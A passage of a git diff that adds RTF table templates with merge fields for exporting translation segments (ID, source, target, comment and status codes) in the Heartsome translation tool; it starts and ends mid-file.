Greek;}{\f694\fswiss\fcharset162\fprq2 Tahoma Tur;} +{\f695\fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f696\fswiss\fcharset178\fprq2 Tahoma (Arabic);}{\f697\fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f698\fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f699\fswiss\fcharset222\fprq2 Tahoma (Thai);} +{\f732\fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255; +\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red250\green191\blue143;}{\stylesheet{ +\qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \snext11 \ssemihidden Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 +\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 +\fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \sbasedon11 \snext15 \styrsid7231073 Table Grid;}}{\*\latentstyles\lsdstimax156\lsdlockeddef0}{\*\rsidtbl \rsid608150\rsid799998\rsid2698375\rsid2782513\rsid3619369 +\rsid3934581\rsid4073038\rsid4416445\rsid4864304\rsid7231073\rsid7690906\rsid8272429\rsid9456007\rsid9526854\rsid10967756\rsid11087189\rsid11560315\rsid11746903\rsid12479908\rsid12932367\rsid15170089\rsid15823419\rsid16327457\rsid16391739\rsid16723424} +{\*\generator Microsoft Word 11.0.5604;}{\info{\author a}{\operator a}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo2\dy29\hr14\min42}{\version18}{\edmins14}{\nofpages1}{\nofwords65}{\nofchars373}{\*\company a}{\nofcharsws437}{\vern24689}} +\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0 \deftab420\ftnbj\aenddoc\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0\sectd \linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj +{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang +{\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (} +{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\trowd \irow0\irowband0\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth828\clcbpatraw17 \cellx720\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw17 \cellx3780 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth2700\clcbpatraw17 \cellx6480\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth1980\clcbpatraw17 \cellx8460\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid8272429\yts15 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt { +\b\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $header_id}}}{\b\f49\fs18\insrsid16327457\charrsid8272429 \cell }{\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid16327457\charrsid8272429 +\hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt {\b\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $header_source}}}{\b\f49\fs18\insrsid16327457\charrsid8272429 +\cell }{\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\b\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 +\hich\af49\dbch\af13\loch\f49 $header_target}}}{\b\f49\fs18\insrsid16327457\charrsid8272429 \cell }{\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_comment \\* MERGEFORMAT } +}{\fldrslt {\b\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $header_comment}}}{\b\f49\fs18\insrsid16327457\charrsid8272429 \cell }\pard\plain +\ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f49\fs18\insrsid16327457\charrsid8272429 \trowd \irow0\irowband0 +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth828\clcbpatraw17 \cellx720\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw17 \cellx3780 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth2700\clcbpatraw17 \cellx6480\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth1980\clcbpatraw17 \cellx8460\row }\trowd \irow1\irowband1\lastrow \ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh +\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth828\clshdrawnil \cellx720\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2700\clshdrawnil \cellx6480\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1980\clshdrawnil \cellx8460\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid8272429\yts15 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\f49\fs18\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Id \\* MERGEFORMAT }}{\fldrslt { +\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $es.Id}}}{\f49\fs18\insrsid16327457\charrsid8272429 \cell }{\field\fldedit{\*\fldinst {\f49\fs18\insrsid16327457\charrsid8272429 +\hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Source \\\hich\af49\dbch\af13\loch\f49 * MERGEFORMAT }}{\fldrslt {\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $es.Source}}}{ +\f49\fs18\insrsid16327457\charrsid8272429 \cell }{\field\fldedit{\*\fldinst {\f49\fs18\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt { +\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $es.Target}}}{\f49\fs18\insrsid16327457\charrsid8272429 \cell }{\field\fldedit{\*\fldinst {\f49\fs18\insrsid16327457\charrsid8272429 +\hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Comment \\* MERGEFORMAT }}{\fldrslt {\f49\fs18\lang1024\langfe1024\noproof\insrsid16327457\charrsid8272429 \hich\af49\dbch\af13\loch\f49 $es.Comment}}}{\f49\fs18\insrsid16327457\charrsid8272429 \cell +}\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f49\fs18\insrsid16327457\charrsid8272429 \trowd \irow1\irowband1\lastrow +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth828\clshdrawnil \cellx720\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx3780\clvertalt\clbrdrt +\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2700\clshdrawnil \cellx6480\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1980\clshdrawnil \cellx8460\row }\pard \qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 {\insrsid608150 +\par }} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status.rtf new file mode 100644 index 0000000..3fac888 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status.rtf @@ -0,0 +1,83 @@ +{\rtf1\ansi\ansicpg936\uc2\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052{\fonttbl{\f0\froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f35\fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f36\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\f38\froman\fcharset238\fprq2 Times New Roman CE;}{\f39\froman\fcharset204\fprq2 Times New Roman Cyr;}{\f41\froman\fcharset161\fprq2 Times New Roman Greek;}{\f42\froman\fcharset162\fprq2 Times New Roman Tur;} +{\f43\froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f44\froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f45\froman\fcharset186\fprq2 Times New Roman Baltic;}{\f46\froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f170\fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f388\fswiss\fcharset238\fprq2 Tahoma CE;}{\f389\fswiss\fcharset204\fprq2 Tahoma Cyr;}{\f391\fswiss\fcharset161\fprq2 Tahoma Greek;}{\f392\fswiss\fcharset162\fprq2 Tahoma Tur;} +{\f393\fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f394\fswiss\fcharset178\fprq2 Tahoma (Arabic);}{\f395\fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f396\fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f397\fswiss\fcharset222\fprq2 Tahoma (Thai);} +{\f400\fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255; +\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\stylesheet{ +\qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \snext11 \ssemihidden Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 +\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 +\fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \sbasedon11 \snext15 \styrsid7231073 Table Grid;}{\*\cs16 \additive \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}}{\*\latentstyles\lsdstimax156\lsdlockeddef0} +{\*\rsidtbl \rsid599877\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4416445\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6312964\rsid6377614\rsid6840796\rsid6968359\rsid7231073\rsid7690906 +\rsid8342235\rsid9201643\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid12479908\rsid12588362\rsid12613898\rsid12715023\rsid13008020\rsid13137282\rsid13182432 +\rsid13967210\rsid14033508\rsid14424044\rsid15869228\rsid16452716\rsid16723424}{\*\generator Microsoft Word 11.0.5604;}{\info{\author a}{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo6\dy17\hr17\min16}{\version36}{\edmins53} +{\nofpages1}{\nofwords100}{\nofchars572}{\*\company a}{\nofcharsws671}{\vern24689}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0 \deftab420\ftnbj\aenddoc\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180\dgvspace156\dghorigin1800 +\dgvorigin1440\dghshow0\dgvshow2\jcompress\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0\sectd \linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj +{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang +{\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (} +{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\trowd \irow0\irowband0\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\fs15\cf6\insrsid5840819 \loch\af0\hich\af0\dbch\f13 \'d7\'a2\'a3\'ba}{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b1\'ed\'b8\'f1}{ +\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 Status }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'c1\'d0\'b5\'c4\'d6\'b5\'d6\'d0\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 +\hich\af0\dbch\af13\loch\f0 0 }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'ce\'b4\'b7\'ad\'d2\'eb\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 1 }{ +\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'b2\'dd\'b8\'e5\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 2 }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 +\'b4\'fa\'b1\'ed\'cd\'ea\'b3\'c9\'b7\'ad\'d2\'eb\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 3 }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'d1\'c5\'fa\'d7\'bc\'a3\'ac}{ +\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 4 }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'d1\'c7\'a9\'b7\'a2\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 +\hich\af0\dbch\af13\loch\f0 7 }{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'cb\'f8\'b6\'a8\'d0\'d0\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 8 }{ +\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'b2\'bb\'cc\'ed\'bc\'d3\'b5\'bd\'bc\'c7\'d2\'e4\'bf\'e2\'a3\'ac}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 9 }{ +\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'c9\'ce\'ca\'d0\'d0\'a1\'a3\'b8\'f7\'ca\'fd\'d7\'d6\'d6\'ae\'bc\'e4\'d2\'d4}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 & }{ +\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'cf\'e0\'c1\'ac\'b1\'ed\'ca\'be\'d7\'b4\'cc\'ac\'cd\'ac\'ca\'b1\'b4\'e6\'d4\'da\'a3\'ac\'ca\'fd\'d7\'d6\'ba\'cd}{\fs15\cf6\insrsid5840819\charrsid5662041 \hich\af0\dbch\af13\loch\f0 & +}{\fs15\cf6\insrsid5840819\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b2\'bb\'c7\'f8\'b7\'d6\'c8\'ab\'bd\'c7\'b0\'eb\'bd\'c7\'a1\'a3}{\b\f35\fs18\insrsid5840819 \cell }\pard\plain +\ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid5840819\charrsid9201643 \trowd \irow0\irowband0 +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\row 